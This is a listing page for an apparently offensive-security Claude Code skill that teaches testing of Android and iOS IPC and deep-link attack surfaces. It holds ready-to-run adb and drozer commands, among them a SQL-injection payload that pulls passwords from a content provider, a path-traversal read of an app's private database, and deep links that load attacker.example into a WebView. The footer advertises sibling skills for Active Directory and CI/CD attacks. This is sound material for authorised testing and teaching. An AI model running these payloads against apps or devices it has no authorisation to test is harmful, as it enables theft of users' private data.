/secskills-offense:testing-mobile-ipcfrom secskills-offense
Tests mobile IPC and deep link attack surface on Android and iOS using drozer, adb, and Frida. Covers exported components, intent redirection, URL schemes, and App Groups.
Ships in secskills-offense. Installing the plugin adds it to Claude Code.
What the skill costs in Claude's context, stage by stage
Name and description: Claude knows it exists.
SKILL.md joins the conversation and stays.
None: SKILL.md is the whole skill.
Every exported component and registered URL scheme is a remote entry point that does not need the network. A malicious app on the same device — or a web page the user visits — can invoke them directly, and they are frequently written as if only the app itself would ever call them.
AndroidManifest.xml for exported componentsPendingIntent, intent redirection, and App Group sharingtesting-apisanalyzing-ios-binaries or the relevant
reversing-* skillbypassing-mobile-pinning
or bypassing-root-jailbreak-detection firsttesting-mobile-applicationsapktool d target.apk -o out
# Every component with exported=true, or with an intent-filter and no explicit
# exported attribute on older targetSdk (which defaults to exported)
rg -n 'android:exported="true"|<intent-filter>' -B3 out/AndroidManifest.xml
# Live enumeration
adb shell dumpsys package com.target.app | rg -A3 'Activity Resolver|Receiver Resolver|Service Resolver|Provider'
drozer console connect
# run app.package.attacksurface com.target.app
# run app.activity.info -a com.target.app
# run app.provider.info -a com.target.app
android:exported defaults changed — apps targeting API 31+ must declare
it explicitly, but a component with an intent-filter on an older target is
exported implicitly. Check targetSdkVersion before concluding a component is
private.
Also check permission protection levels. A component "protected" by a
custom permission declared with protectionLevel="normal" is protected by
nothing: any app can request and receive it without user interaction.
rg -n 'permission android:name|protectionLevel' out/AndroidManifest.xml
# Activities — can an unauthenticated screen be launched directly?
adb shell am start -n com.target.app/.SomeActivity
adb shell am start -a android.intent.action.VIEW -d "myapp://path?param=value"
adb shell am start -n com.target.app/.WebActivity --es url "https://attacker.example"
# Services
adb shell am startservice -n com.target.app/.ExportedService --es cmd value
# Broadcast receivers
adb shell am broadcast -a com.target.app.ACTION_X --es data value
# Content providers — the highest-yield target
adb shell content query --uri content://com.target.app.provider/users
adb shell content query --uri content://com.target.app.provider/users \
--where "1=1) UNION SELECT password FROM creds--"
adb shell content read --uri content://com.target.app.provider/files/../../databases/app.db
Content providers deserve specific attention because two classic bugs recur:
selection/projection arguments, which are
concatenated into the query far more often than in server code.openFile(), where a provider that serves files from
its own directory does not canonicalize the requested path, giving any app on
the device read access to the app's private storage.Intent redirection (the "confused deputy" of Android). An exported
component takes an Intent as an extra and then starts it. The caller
supplies the inner intent, so it executes with the victim app's identity —
reaching its non-exported components and its permissions.
rg -n 'getParcelableExtra.*Intent|startActivity\(.*getIntent\(\).*Extra' out/smali*
# Exploit shape: outer intent → exported component → inner intent → private component
PendingIntent hijacking. A PendingIntent created with an implicit base
intent, or without FLAG_IMMUTABLE, lets the receiving app fill in the blanks
and cause an action with the sender's identity.
rg -n 'PendingIntent.get(Activity|Broadcast|Service)' -A3 out/smali*
# Findings: FLAG_MUTABLE (or no flag pre-API-31) plus an implicit base intent
Deep link to WebView. A deep link parameter that becomes a loadUrl()
target turns any web page into a way to render attacker content inside the
app's WebView — with its cookies, its JS bridges, and its file access.
adb shell am start -a android.intent.action.VIEW -d "myapp://open?url=https://attacker.example"
rg -n 'loadUrl|addJavascriptInterface|setAllowFileAccess|setJavaScriptEnabled' out/smali*
App Links verification. autoVerify="true" only works if
https://domain/.well-known/assetlinks.json is correct and reachable. When
verification fails, the link degrades to a disambiguation dialog that another
app can also claim.
curl -s https://target.example/.well-known/assetlinks.json | jq .
adb shell pm get-app-links com.target.app
# Declared URL schemes and associated domains
plutil -p Payload/TargetApp.app/Info.plist | rg -A5 'CFBundleURLSchemes'
codesign -d --entitlements :- Payload/TargetApp.app | rg -A3 'associated-domains|application-groups'
# Trigger a scheme
xcrun simctl openurl booted "myapp://path?param=value"
# On device: open the URL from Safari or Notes
Custom URL schemes are unauthenticated and claimable. Any app can register
myapp://, and if two do, the winner is undefined. Anything reached through a
custom scheme must be treated as attacker-invoked. Universal Links are the
verified alternative:
curl -s https://target.example/.well-known/apple-app-site-association | jq .
# Must be served over HTTPS, no redirect, correct app ID, correct paths
Also check:
application:openURL:options: — check whether the handler validates the
source application and the URL's parameters before acting.Invoking a component is not itself a finding. The finding is what it lets an unprivileged local app do:
Test whether the deep link path skips authentication specifically: launch the target component with the app logged out, and again with a different account.
normal is granted automatically.targetSdkVersion, and check whether
intent redirection reaches it anyway.testing-mobile-applications — the wider assessmenttesting-apis — the backend those components ultimately callanalyzing-ios-binaries — entitlements and App Group enumerationreporting-security-findings — severity for local-attacker findingsWhat SKILL.md sets; muted values are Claude Code's defaults
2 plugins ship this exact skill · first indexed Jul 31, 2026
40 skills in this plugin
/abusing-adcsEnumerate and abuse Active Directory Certificate Services with Certipy and Certify — the ESC1 through ESC16 escalation paths, vulnerable template and CA configurations, NTLM relay to web enrollment, certificate-based authentication and persistence, and the strong-mapping changes that gate several of them. Use when a domain has a certificate authority, when Certipy or BloodHound reports vulnerable templates, or when escalating from a low-privilege domain user./abusing-ci-cd-oidcExploit CI/CD pipeline misconfigurations and OIDC federation weaknesses across GitHub Actions, GitLab CI, and Jenkins -- poisoned workflows, secret exfiltration, runner compromise, overly broad OIDC trust policies, build artifact poisoning, and credential theft. Use when pentesting CI/CD infrastructure, assessing OIDC federation trust boundaries, reviewing pipeline security posture, or exploiting a path from repository access to cloud credentials./attacking-active-directoryAttack and enumerate Active Directory environments using Kerberos attacks (Kerberoasting, ASREPRoasting), credential dumping (DCSync, Mimikatz), lateral movement (PtH, PtT), and BloodHound analysis. Use when pentesting Windows domains or exploiting AD misconfigurations.npx claudepluginhub trilwu/secskills --plugin secskills-offenseOther plugins' skills for the same job